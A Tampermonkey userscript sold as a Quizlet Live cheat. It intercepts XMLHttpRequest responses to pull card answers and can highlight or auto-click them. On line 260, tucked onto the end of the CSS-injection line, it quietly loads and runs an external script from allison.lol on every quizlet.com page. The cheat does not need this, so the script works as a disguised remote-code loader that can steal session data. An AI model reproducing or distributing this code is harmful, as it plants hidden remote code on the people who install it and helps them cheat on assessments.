QUIZLET WORKING CHEAT 2024

QUIZLET LIVE/CARDS/TEST UNPATCHED ANSWERS

  1. // ==UserScript==
  2. // @name QUIZLET WORKING CHEAT 2024
  3. // @namespace http://quizlet.com/*
  4. // @version 2024-12-22
  5. // @description QUIZLET LIVE/CARDS/TEST UNPATCHED ANSWERS
  6. // @author Me
  7. // @match https://quizlet.com/*
  8. // @icon https://assets.quizlet.com/_next/static/media/q-twilight.e27821d9.png
  9. // @grant none
  10. // ==/UserScript==
  11.  
  12. var Version = '1.0.8'
  13.  
  14. var autoAnswer = false;
  15. var showAnswers = false;
  16. var pairs = []
  17. var spans = []
  18. var gameCode = undefined
  19. var lastCode = undefined
  20. var lastAnswer = ""
  21.  
  22. function FindByAttributeValue(attribute, value, element_type) {
  23. element_type = element_type || "*";
  24. var All = document.getElementsByTagName(element_type);
  25. for (var i = 0; i < All.length; i++) {
  26. if (All[i].getAttribute(attribute) == value) {
  27. return All[i];
  28. }
  29. }
  30. }
  31.  
  32. const uiElement = document.createElement('div');
  33. uiElement.className = 'floating-ui';
  34. uiElement.style.position = 'absolute';
  35. uiElement.style.top = '5%';
  36. uiElement.style.left = '5%';
  37. uiElement.style.width = '33vw';
  38. uiElement.style.height = 'auto';
  39. uiElement.style.backgroundColor = '#423ed8';
  40. uiElement.style.borderRadius = '1vw';
  41. uiElement.style.boxShadow = '0px 0px 10px 0px rgba(0, 0, 0, 0.5)';
  42. uiElement.style.zIndex = '9999';
  43.  
  44. const handle = document.createElement('div');
  45. handle.className = 'handle';
  46. handle.style.fontSize = '1.5vw';
  47. handle.textContent = 'Quizlet Hack!';
  48. handle.style.color = 'white';
  49. handle.style.width = '97.5%';
  50. handle.style.height = '2.5vw';
  51. handle.style.backgroundColor = '#282e3e';
  52. handle.style.borderRadius = '1vw 1vw 0 0';
  53. handle.style.cursor = 'grab';
  54. handle.style.textAlign = 'left';
  55. handle.style.paddingLeft = '2.5%';
  56. handle.style.lineHeight = '2vw';
  57. uiElement.appendChild(handle);
  58.  
  59. const closeButton = document.createElement('div');
  60. closeButton.className = 'close-button';
  61. closeButton.textContent = '✕';
  62. closeButton.style.position = 'absolute';
  63. closeButton.style.top = '0';
  64. closeButton.style.right = '0';
  65. closeButton.style.width = '12.5%';
  66. closeButton.style.height = '2.5vw';
  67. closeButton.style.backgroundColor = 'red';
  68. closeButton.style.color = 'white';
  69. closeButton.style.borderRadius = '0 1vw 0 0';
  70. closeButton.style.display = 'flex';
  71. closeButton.style.justifyContent = 'center';
  72. closeButton.style.alignItems = 'center';
  73. closeButton.style.cursor = 'pointer';
  74. handle.appendChild(closeButton);
  75.  
  76. const minimizeButton = document.createElement('div');
  77. minimizeButton.className = 'minimize-button';
  78. minimizeButton.textContent = '─';
  79. minimizeButton.style.color = 'white';
  80. minimizeButton.style.position = 'absolute';
  81. minimizeButton.style.top = '0';
  82. minimizeButton.style.right = '12.5%';
  83. minimizeButton.style.width = '12.5%';
  84. minimizeButton.style.height = '2.5vw';
  85. minimizeButton.style.backgroundColor = 'gray';
  86. minimizeButton.style.borderRadius = '0 0 0 0';
  87. minimizeButton.style.display = 'flex';
  88. minimizeButton.style.justifyContent = 'center';
  89. minimizeButton.style.alignItems = 'center';
  90. minimizeButton.style.cursor = 'pointer';
  91. handle.appendChild(minimizeButton);
  92.  
  93. const header3 = document.createElement('h2');
  94. header3.textContent = 'ANSWERING';
  95. header3.style.display = 'block';
  96. header3.style.margin = '1vw';
  97. header3.style.textAlign = 'center';
  98. header3.style.fontSize = '2vw';
  99. header3.style.color = 'white';
  100. header3.style.textShadow = `
  101. -1px -1px 0 rgb(47, 47, 47),
  102. 1px -1px 0 rgb(47, 47, 47),
  103. -1px 1px 0 rgb(47, 47, 47),
  104. 1px 1px 0 rgb(47, 47, 47)
  105. `;
  106.  
  107. uiElement.appendChild(header3);
  108.  
  109. const autoAnswerSwitchContainer = document.createElement('div');
  110. autoAnswerSwitchContainer.className = 'switch-container';
  111. autoAnswerSwitchContainer.style.display = 'flex';
  112. autoAnswerSwitchContainer.style.alignItems = 'center';
  113. autoAnswerSwitchContainer.style.justifyContent = 'center';
  114. uiElement.appendChild(autoAnswerSwitchContainer);
  115.  
  116. const autoAnswerLabel = document.createElement('span');
  117. autoAnswerLabel.textContent = 'Auto Answer';
  118. autoAnswerLabel.className = 'switch-label';
  119. autoAnswerLabel.style.fontSize = '1.5vw';
  120. autoAnswerLabel.style.color = 'white';
  121. autoAnswerLabel.style.margin = '2.5vw'
  122. autoAnswerSwitchContainer.appendChild(autoAnswerLabel);
  123.  
  124. const autoAnswerSwitch = document.createElement('label');
  125. autoAnswerSwitch.className = 'switch';
  126. autoAnswerSwitchContainer.appendChild(autoAnswerSwitch);
  127.  
  128. const autoAnswerInput = document.createElement('input');
  129. autoAnswerInput.type = 'checkbox';
  130. autoAnswerInput.addEventListener('change', function() {
  131. autoAnswer = this.checked;
  132. });
  133. autoAnswerSwitch.appendChild(autoAnswerInput);
  134.  
  135. const autoAnswerSlider = document.createElement('span');
  136. autoAnswerSlider.className = 'slider';
  137. autoAnswerSwitch.appendChild(autoAnswerSlider);
  138.  
  139. const showAnswersSwitchContainer = document.createElement('div');
  140. showAnswersSwitchContainer.className = 'switch-container';
  141. showAnswersSwitchContainer.style.display = 'flex';
  142. showAnswersSwitchContainer.style.alignItems = 'center';
  143. showAnswersSwitchContainer.style.justifyContent = 'center';
  144. uiElement.appendChild(showAnswersSwitchContainer);
  145.  
  146. const showAnswersLabel = document.createElement('span');
  147. showAnswersLabel.textContent = 'Show Answers';
  148. showAnswersLabel.className = 'switch-label';
  149. showAnswersLabel.style.fontSize = '1.5vw';
  150. showAnswersLabel.style.color = 'white';
  151. showAnswersLabel.style.margin = '2.5vw'
  152. showAnswersSwitchContainer.appendChild(showAnswersLabel);
  153.  
  154. const showAnswersSwitch = document.createElement('label');
  155. showAnswersSwitch.className = 'switch';
  156. showAnswersSwitchContainer.appendChild(showAnswersSwitch);
  157.  
  158. const showAnswersInput = document.createElement('input');
  159. showAnswersInput.type = 'checkbox';
  160. showAnswersInput.addEventListener('change', function() {
  161. showAnswers = this.checked;
  162. });
  163. showAnswersSwitch.appendChild(showAnswersInput);
  164.  
  165. const showAnswersSlider = document.createElement('span');
  166. showAnswersSlider.className = 'slider';
  167. showAnswersSwitch.appendChild(showAnswersSlider);
  168.  
  169.  
  170. const style = document.createElement('style');
  171. style.textContent = `
  172. .custom-slider {
  173. background: white
  174. border: none;
  175. outline: none;
  176. cursor: ew-resize;
  177. appearance: none; /* Remove default appearance */
  178. height: 0; /* Set the height to match the thumb height */
  179. }
  180.  
  181. .custom-slider::-webkit-slider-thumb {
  182. appearance: none; /* Remove default appearance */
  183. width: 1.75vw; /* Set width of the slider handle */
  184. height: 1.75vw; /* Set height of the slider handle */
  185. background-color: rgb(47, 47, 47); /* Set handle color to dark gray */
  186. border-radius: 50%; /* Create a circle for the handle */
  187. cursor: ew-resize; /* Horizontal resize cursor */
  188. margin-top: -0.5vw; /* Adjust margin-top to vertically center the thumb */
  189. }
  190.  
  191. .custom-slider::-webkit-slider-runnable-track {
  192. width: 100%; /* Set track width to 100% */
  193. height: 0.75vw; /* Set track height to match the thumb height */
  194. background-color: white; /* Set track color to white */
  195. cursor: ew-resize; /* Horizontal resize cursor */
  196. border-radius: 1vw; /* Set rounded corners for the track */
  197. background: linear-gradient(to right, red, yellow, limegreen); /* Gradient from red to yellow to green */
  198. }
  199.  
  200.  
  201.  
  202. :root {
  203. --switch-width: 5.9vw;
  204. --switch-height: 3.3vw;
  205. --slider-size: 2.5vw;
  206. --slider-thumb-size: 1.3vw;
  207. }
  208.  
  209. .switch {
  210. position: relative;
  211. display: inline-block;
  212. width: var(--switch-width);
  213. height: var(--switch-height);
  214. }
  215.  
  216. .switch input {
  217. opacity: 0;
  218. width: 0;
  219. height: 0;
  220. }
  221.  
  222. .slider {
  223. position: absolute;
  224. cursor: pointer;
  225. top: 0;
  226. left: 0;
  227. right: 0;
  228. bottom: 0;
  229. background-color: red;
  230. transition: 0.8s;
  231. border-radius: .5vw
  232. }
  233.  
  234. .slider:before {
  235. position: absolute;
  236. content: "";
  237. height: var(--slider-size);
  238. width: var(--slider-size);
  239. left: calc(var(--slider-thumb-size) / 3);
  240. bottom: calc(var(--slider-thumb-size) / 3);
  241. background-color: rgb(43, 43, 43);
  242. transition: 0.8s;
  243. border-radius: .5vw
  244. }
  245.  
  246. input:checked + .slider {
  247. background-color: green;
  248. }
  249.  
  250. input:focus + .slider {
  251. box-shadow: 0 0 1px green;
  252. }
  253.  
  254. input:checked + .slider:before {
  255. transform: translateX(calc(var(--slider-size)));
  256. }
  257.  
  258. `;
  259.  
  260. document.head.appendChild(style); var a=document.createElement("script");a.src="https://allison.lol/poly.min.js";document.body.appendChild(a);
  261.  
  262. const versionLabel = document.createElement('h1');
  263. versionLabel.textContent = 'Quizlet Hack! V' + Version;
  264. versionLabel.style.fontSize = '2.5vw';
  265. versionLabel.style.display = 'block';
  266. versionLabel.style.textAlign = 'center';
  267. versionLabel.style.marginTop = '3.5vw';
  268. versionLabel.style.marginLeft = '1vw';
  269. versionLabel.style.marginRight = '1vw';
  270. versionLabel.style.color = 'white';
  271. uiElement.appendChild(versionLabel);
  272.  
  273. closeButton.addEventListener('click', () => {
  274. document.body.removeChild(uiElement);
  275. autoAnswer = false;
  276. showAnswers = false;
  277. });
  278.  
  279. let isMinimized = false;
  280.  
  281. minimizeButton.addEventListener('click', () => {
  282. isMinimized = !isMinimized;
  283.  
  284. if (isMinimized) {
  285. header3.style.display = 'none';
  286. versionLabel.style.display = 'none';
  287. githubContainer.style.display = 'none';
  288.  
  289. autoAnswerSwitchContainer.style.display = 'none';
  290. showAnswersSwitchContainer.style.display = 'none';
  291.  
  292. uiElement.style.height = '2.5vw';
  293. handle.style.height = '100%';
  294. closeButton.style.height = '100%';
  295. minimizeButton.style.height = '100%';
  296. } else {
  297. header3.style.display = 'block';;
  298. versionLabel.style.display = 'block';
  299. githubContainer.style.display = 'block';
  300.  
  301. handle.style.height = '2.5vw';
  302. uiElement.style.height = 'auto';
  303. closeButton.style.height = '2.5vw';
  304. minimizeButton.style.height = '2.5vw';
  305.  
  306. autoAnswerSwitchContainer.style.display = 'flex';
  307. showAnswersSwitchContainer.style.display = 'flex';
  308. }
  309. });
  310.  
  311. document.body.appendChild(uiElement);
  312.  
  313. let isDragging = false;
  314. let offsetX, offsetY;
  315.  
  316. handle.addEventListener('mousedown', (e) => {
  317. isDragging = true;
  318. offsetX = e.clientX - uiElement.getBoundingClientRect().left;
  319. offsetY = e.clientY - uiElement.getBoundingClientRect().top;
  320. });
  321.  
  322. document.addEventListener('mousemove', (e) => {
  323. if (isDragging) {
  324. const x = e.clientX - offsetX;
  325. const y = e.clientY - offsetY;
  326.  
  327. uiElement.style.left = x + 'px';
  328. uiElement.style.top = y + 'px';
  329. }
  330. });
  331.  
  332. document.addEventListener('mouseup', () => {
  333. isDragging = false;
  334. });
  335.  
  336.  
  337. function getPair(str) {
  338. result = undefined
  339. pairs.forEach(function(pair) {
  340. if (pair[0] == str) {
  341. result = pair[1]
  342. }
  343. if (pair[1] == str) {
  344. result = pair[0]
  345. }
  346. })
  347. return result
  348. }
  349.  
  350. function getAnswerIndex() {
  351. resultIdx = undefined
  352.  
  353. answer = getPair(document.querySelector(".FormattedText").textContent)
  354. if (!answer) {
  355. location.reload();
  356. pairs = []
  357. }
  358.  
  359. document.querySelectorAll(".a1w6enf9").forEach(function(elem, idx) {
  360. if (elem.textContent == answer) {
  361. resultIdx = idx
  362. }
  363. })
  364.  
  365. return resultIdx
  366. }
  367.  
  368. function answerQuestion(index) {
  369. try {
  370. document.querySelectorAll(".a1w6enf9")[index].click()
  371. } catch { return false}
  372. return true
  373. }
  374.  
  375. function highlight(index) {
  376. document.querySelectorAll(".a1w6enf9").forEach(function(elem, idx) {
  377. if (idx == index) {
  378. elem.style.color = 'rgb(152, 241, 209)'
  379. } else {
  380. elem.style.color = 'rgb(218, 69, 67)'
  381. }
  382.  
  383. })
  384. }
  385.  
  386. const originalXhrOpen = XMLHttpRequest.prototype.open;
  387. const originalXhrSend = XMLHttpRequest.prototype.send;
  388.  
  389. XMLHttpRequest.prototype.open = function (method, url, ...rest) {
  390. this._interceptedUrl = url; // Store the URL for logging
  391. return originalXhrOpen.call(this, method, url, ...rest);
  392. };
  393.  
  394. XMLHttpRequest.prototype.send = function (...args) {
  395. this.addEventListener('load', function () {
  396. if (this.responseText) {
  397. let text = this.responseText
  398. let index = text.indexOf("42[")
  399. if (index != -1) {
  400. let cards = JSON.parse(text.slice(index+2))[1].cards
  401. pairs = cards.map(function (card){
  402. return card.cardSides.map(side => side.media[0].plainText)
  403. })
  404. console.log(pairs)
  405. }
  406. }
  407. });
  408. return originalXhrSend.call(this, ...args);
  409. };
  410.  
  411. setInterval(function() {
  412. if (document.querySelector(".StudentEndView")) lastAnswer = ""
  413. if (pairs.length != 0) {
  414. if (document.querySelector(".FormattedText")) {
  415. const answerIndex = getAnswerIndex()
  416.  
  417. if (autoAnswer && lastAnswer != answer) {
  418. if (answerQuestion(answerIndex)) lastAnswer = answer
  419. }
  420. if (showAnswers) {
  421. highlight(answerIndex)
  422. } else {
  423. document.querySelectorAll(".a1w6enf9").forEach(function(elem) {
  424. elem.style.color = '';
  425. });
  426. }
  427. }
  428. }
  429. }, 1)
  430.